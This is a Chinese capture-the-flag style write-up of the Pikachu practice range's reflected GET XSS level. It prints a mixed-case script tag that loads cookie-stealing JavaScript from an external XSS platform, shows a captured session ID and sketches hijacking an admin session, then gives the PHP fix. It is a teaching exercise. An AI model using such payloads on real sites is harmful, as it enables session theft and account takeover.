Pikachu靶场通关笔记(5) — 反射型XSS(GET) (XSS平台打Cookie实战)

1. 疑问与原理解析

疑问: 为什么在输入框里输入一段代码,它不会像普通文字一样显示出来,而是被浏览器当做指令执行了?而且为什么叫“反射型”?

原理: 这种情况发生的核心原因是 “数据与代码没有分离”

当后端服务器(PHP)接收到在 URL 参数(GET 请求)中提交的数据后,没有经过任何过滤或转义,直接把它“拼接”到了 HTML 页面中返回给前端。

  • 反射(Reflected): 就像照镜子一样,你发给服务器什么,服务器就立马弹回给你什么。
  • 执行: 浏览器很“笨”,它分不清哪些是网页原本的代码,哪些是用户刚才输入的。如果输入包含了 <script> 标签,浏览器就会认为这是网页开发者写的合法脚本,于是乖乖执行。

攻击场景: 攻击者把带有恶意脚本的 URL 链接 发送给受害者,受害者点击链接,脚本就在受害者的浏览器上执行(进而窃取 Cookie)。

2. 渗透测试过程

这一关是 GET 类型的 XSS,意味着 Payload 会直接暴露在 URL 地址栏中。

第一步:测试正常回显逻辑

首先像普通用户一样操作,理解业务逻辑。
在输入框输入 kobe,页面显示了一张科比的图片。
再输入一个无意义的数字 123,观察页面反应:

页面返回文本:who is 123,i don't care!

Pikachu 靶场通关笔记(5) — 反射型 XSS(GET) (XSS 平台打 Cookie 实战)

关键点: 输入的 123 被原封不动地显示在了页面上。这意味着 输入点 输出点 是连通的,且大概率没有严格过滤。

第二步:构造 Payload 与 平台接收

既然确定有回显,尝试插入 JavaScript 代码。为了验证危害(证明能拿到敏感信息),配合 XSS 平台使用。在 XSS 平台(TLXSS)https://xssaq.com/dashboard 生成了一个用于获取 Cookie 的 Payload:

<sCRiPt sRC=//xs.pe/EHr></sCrIpT>

此处要注意,该输入框的最大长度限制为 20 个字符,但由于是放在前端的,所以能直接修改,可以改为一个比较大的数,只要满足 payload 长度就行。

Pikachu 靶场通关笔记(5) — 反射型 XSS(GET) (XSS 平台打 Cookie 实战)

(注:这里使用了大小写混合,虽然本关没有正则过滤,但在实战中是绕过简单匹配的一种习惯)

将上述代码填入输入框,点击 submit

第三步:验证攻击成果

输入 payload,点击提交,恶意脚本已经悄悄加载了外部 JS。并且由于是 get 类型的提交,可以在 url 中看到恶意 payload,如下图所示。

Pikachu 靶场通关笔记(5) — 反射型 XSS(GET) (XSS 平台打 Cookie 实战)

此时切回到 XSS 平台,查看项目记录:

Pikachu 靶场通关笔记(5) — 反射型 XSS(GET) (XSS 平台打 Cookie 实战)
  • 结果: 成功接收到了受害者的访问记录。
  • 获取数据:
    • 触发 Top URL: 包含 Payload 的完整恶意链接。
    • Cookies: PHPSESSID=gkscbh5... (成功获取会话 ID)。
    • IP: 152.233.3.53(电脑开了代理,应该是这个代理的 ip)
Pikachu 靶场通关笔记(5) — 反射型 XSS(GET) (XSS 平台打 Cookie 实战)

这意味着,如果把这个构造好的 URL 发给管理员点击,并且后端不验证,也许就能拿着这个 Cookie 直接登录后台了。

3. 源码分析

查看后端 PHP 源码,核心逻辑非常简单粗暴:

$message = $_GET['message'];
// ... 中间没有对 $message 进行 htmlspecialchars 处理...
$html .= "<p class='notice'>who is {$message},i don't care!</p>";

因为缺少了 htmlspecialchars() 函数对特殊字符(如 < > ' ")的转义,导致用户输入被当做了 HTML 标签解析。

修复方案:
在输出变量时进行编码处理:

$message = $_GET['message'];
// ... 中间没有对 $message 进行 htmlspecialchars 处理...
echo "who is " . htmlspecialchars($message) . ",i don't care!";

正文完
 0